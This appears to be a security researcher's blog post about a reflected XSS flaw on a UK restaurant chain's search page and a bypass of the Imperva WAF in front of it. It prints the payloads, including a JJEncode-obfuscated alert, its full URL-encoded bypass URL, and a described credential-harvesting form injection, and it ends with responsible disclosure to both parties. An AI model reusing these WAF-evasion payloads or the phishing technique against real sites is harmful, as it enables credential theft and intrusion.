Imperva WAF Bypass

This is a story about an XSS vulnerability on a website for a popular UK restaurant chain which from this point forward I will simply refer to as "Shenanigan's". The interesting thing is not, in fact, the XSS vulnerability but is about bypassing the Web Application Firewall that was protecting it.

Lets start at the beginning where it should make a bit more sense.

I was in the Office and looking at the Shenanigans website trying to find out where my local was to see if they delivered. I mistyped the address I was searching for and was presented with a generic no results found.

The interesting thing here was that my search term was included in the response. Having just been playing with some XSS labs on Immersive Labs I threw a quick piece of HTML in to see what happened, I was just in a standard desktop and the first thing that popped into my head was just to try some HTML tags adding testing into the search box and hit search. Popping open dev tools I can see that I have HTML injection. This also appears in the URL as a search parameter search?search=<b>testing</b>#results so we have Reflected XSS

This is bad but JavaScript execution is worse so I try a new URL search?search=<script>console.log("XSS")</script>#results

Instead of my nice Console Message what I actually ended up with was an Imperva block page.

A quick google shows me that Imperva is a Web Application Firewall used to protect websites from the kind of attacks that I was attempting. I tried a couple of generic encodings and filter evasions but unsurprisingly i was blocked at each attempt and after a handful of attempts the IP was blocked.

So JavaScript was blocked by the WAF but the underlying website was still vulnerable to reflected XSS and I know I can inject HTML so I wanted to prove it could still be damaging even without the ability to run JavaScript.

After a short time playing I ended up with a URL that would inject an HTML logon form that would POST any entered credentials out to a domain that I owned.

As it was all in the URL I could generate a Link that appears to come from the legitimate Shenanigans domain and socially engineer users into handing over their credentials.

I still wasn't happy that I didn't have JavaScript execution so I started playing with some evasion techniques trying to identify what characters would trigger the XSS detection. After several attempts, I managed to get a JavaScript error in the console.

Sending <code onmouseover="new hello;">test</code> in the search query resulted in a JavaScript error in the console window

and more importantly, it did not trigger the WAF.

So I could kind of run JavaScript but every time I tried to create an actual function or use standard JavaScript the WAF would kick in. I need to run JavaScript that didn't look like JavaScript.

Fortunately, for me at least. I had seen this technique before. JJEncode and JS Fuck were techniques I had seen used by exploit Kits to obfuscate JavaScript payloads and redirect chains to hinder analysis and try to evade detection engines.

JJEncode and JSFuck take your JavaScript you want to execute and from that creates valid JavaScript code that uses no Alpha or Numeric characters instead it uses a set of symbols.

Taking a look at the example below we take a simple JavaScript line

alert("Hello, JavaScript" )

And after running jjencode we are left with

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())();

How this is valid JavaScript I assume is black magic, but it works.

I throw this into the onmousover HTML tag and . . .

I hit the WAF again.

One more try this time I took the jjencoded output switch and ran a simple URL encode. This gave me a really ugly URL.

https://shenanigans/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E

But the WAF didn't seem to care and once it landed at the web application I triggered the onmouseover event and up it popped, my JavaScript alert.

At this point I had enough to start a responsible disclosure. There were two parts to this. One was to notify Shenanigans that I had found an issue on their website and second was to notify Imperva that They had a somewhat trivial bypass technique.

Imperva was the easy one.
I emailed security at imperva.com and within the same day had an initial response from them asking me for more information.
I provided them with all the information I had and about a week later after a few back and forths they confirmed they had identified the issue and would roll out updates.
A nice simple and fast exchange.

Shenanigans was not so easy to get started.

I tried emails to security, info and support @ with no responses. I tried a webchat on their site and even resorted to phoning the customer support helpline all with little success in getting to the right part of the business.

After a couple of days without response I didn't want to just leave it and I didn't think that publicly revealing it was the best option either, So I took to LinkedIn and did a quick search for someone who could get me in touch the with the right team.

The first one I spotted that should yield some results was the Group CISO, this felt a little heavy handed but I just wanted someone to take a look at it. So I pinged him a direct message on LinkedIn.

From this point forward to was a simple and fast response. He apologised that it been so difficult to get through, thanked me for my perseverance and assured me that a better process for the customer facing teams would be put in place.

A few days later after providing them with the same information, I provided to Imperva they also confirmed that the vulnerability had been mitigated on their end.

At this point I called it a day, having made the Internet a little safer.